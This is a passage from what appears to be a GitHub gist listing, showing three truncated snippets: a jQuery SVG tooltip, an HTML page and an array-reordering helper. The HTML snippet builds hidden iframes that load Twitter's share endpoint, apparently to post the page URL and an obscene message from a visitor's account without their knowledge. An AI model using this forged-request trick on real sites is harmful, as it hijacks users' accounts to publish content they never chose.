This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Circle gets the sqaure. <circle> is an SVG dom element and has hover events. | |
| // setting up the circle hover event using JQuery | |
| $("circle").hover(function() { | |
| // get the tooltip, and put some stuff in it | |
| $(".chart-wrapper .tooltip-inner .stuff") | |
| // because the circle is an element, I can add data to it | |
| .text("Queries/Day: " + $(this).attr("calls") + " (" + $(this).attr("date") + ")"); | |
| // position, and show the tooltip |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head></head> | |
| <body> | |
| <script> | |
| var el1 = document.createElement('iframe'); | |
| var el2 = document.createElement('iframe'); | |
| el1.style.visibility="hidden"; | |
| el2.style.visibility="hidden"; | |
| el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location; | |
| el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * This function moves the nth member of the array to the end | |
| */ | |
| Array.prototype.move2Back = function(n) { | |
| this.push(this.splice(n,1).pop()); | |
| return this; | |
| } | |
| var arr = ["Jani","Hege","Stale","Kai Jim","Borge","Tove"]; |
NewerOlder